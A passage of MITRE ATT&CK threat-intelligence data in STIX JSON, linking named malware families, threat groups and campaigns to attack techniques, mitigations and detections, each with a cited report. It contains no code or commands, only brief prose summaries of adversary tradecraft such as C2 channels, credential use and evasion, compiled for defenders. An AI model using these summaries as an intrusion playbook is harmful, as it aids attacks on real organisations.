2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--948f8c8b-18e1-4652-86af-bad1dc0ec090","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.200Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) has a feature to list the available services on the system.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9492b31f-9275-4ee5-84bd-040cf653a6db","type":"relationship","created":"2019-06-24T13:56:03.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2022-02-24T15:06:46.280Z","description":"Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9493cec9-dbbc-43ef-ae57-6f307f8d6001","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.175Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used stolen code signing certificates to sign malware.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9494b0d8-26d9-48ae-8dd1-c9d8966b23a0","type":"relationship","created":"2019-01-29T17:59:44.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.114Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) collects the current system time (UTC) and sends it back to the C2 server.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9497e927-67da-4845-b7a9-fe7d13524110","type":"relationship","created":"2019-05-14T16:58:13.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.092Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has the capability to discover the system OS, Windows version, architecture and environment.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--949c94e6-7c2f-4605-957f-11b7cd5a6097","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.683Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--039814a0-88de-46c5-a4fb-b293db21880a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--949cf89d-6d65-4459-83e7-dc826ae9c894","created":"2023-03-26T15:09:08.495Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:09:08.495Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--949dba3e-e6c9-48a5-8bf6-a2a912c7c3e3","type":"relationship","created":"2020-08-25T18:10:52.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-09-18T20:16:27.419Z","description":"(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94a0ffdf-5244-4f13-9730-3715b1bc6943","type":"relationship","created":"2021-09-09T14:07:32.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.333Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can halt execution if it identifies processes belonging to virtual machine software or analysis tools.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94a1fe68-4c8f-48ca-b186-feca5f800f46","type":"relationship","created":"2022-01-25T14:59:21.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T14:59:21.694Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can change its C2 channel once every 360 loops by retrieving a new domain from the actors’ S3 bucket.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94a67c86-e7f6-4874-b41f-83a3bfc35be3","type":"relationship","created":"2021-04-19T20:13:44.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-04-19T20:13:44.480Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used rundll32 to load malicious DLLs.(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94a6e104-9afd-4271-af39-6ab02eb53dfd","created":"2022-09-27T18:07:11.336Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:07:11.336Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used domain credentials, including domain admin, for lateral movement and privilege escalation.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94a9ee1e-ac65-47aa-a8f4-6695f02d6040","type":"relationship","created":"2021-09-10T14:43:11.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:10.096Z","description":"[Crimson](https://attack.mitre.org/software/S0115) has the ability to discover pluggable/removable drives to extract files from.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94b4648a-4108-468c-be51-cca365fd97ac","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.533Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via Windows Management Instrumentation (WMI).(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:17.027Z","description":"[RTM](https://attack.mitre.org/software/S0148) can delete all Registry entries created during its execution.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94bb62b3-e917-47cb-a717-560b28ea3d56","type":"relationship","created":"2019-04-25T21:31:16.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.849Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) and its watchdog component are compiled and executed after being delivered to victims as embedded, uncompiled source code.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94bd660a-4e4c-4482-8062-2469075e3974","created":"2024-02-07T18:43:53.380Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T18:43:53.380Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) connects to command and control infrastructure using SSL.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94c08652-89f8-406d-b0c0-aeb35da36d99","type":"relationship","created":"2019-01-29T21:40:37.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2020-03-17T00:42:48.507Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) uses DNS for C2.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94cbcde4-3323-41ba-948c-95f798d39a89","created":"2022-01-10T19:52:49.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.931Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) uses HTTPS for command and control.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94cc0bdc-a2a6-4032-8099-34124c45976b","created":"2024-03-28T14:26:06.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2018","description":"Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:01:26.511Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) used Mimikatz.(Citation: FireEye TRITON 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94d3cffe-544e-4a9b-aa58-72d7ed19aa33","created":"2024-05-22T21:20:19.446Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:20:19.446Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can run arbitrary commands passed to it through cmd.exe.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94d71c18-e2af-4dfd-aa2f-28ca68a772ab","type":"relationship","created":"2020-03-27T12:10:23.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/hfiref0x/UACME","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","source_name":"Github UACMe"}],"modified":"2020-03-27T12:18:44.429Z","description":"Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.(Citation: Github UACMe)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94dc4d8d-c6a9-4b0a-9562-07cdf0347805","created":"2023-05-15T20:10:17.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T19:41:25.871Z","description":"For [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors re-registered expired C2 domains previously used for [ANDROMEDA](https://attack.mitre.org/software/S1074) malware.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94dcf9ee-b094-42b3-b410-b4f54be0db8f","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94e040f2-c1e7-4159-839f-c4a2497232f3","type":"relationship","created":"2021-09-30T20:20:28.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T20:20:28.078Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can use BITS jobs to download its malicious payload.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94e051ad-2f6d-4322-a854-6ee1944a8904","type":"relationship","created":"2019-10-07T19:05:49.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 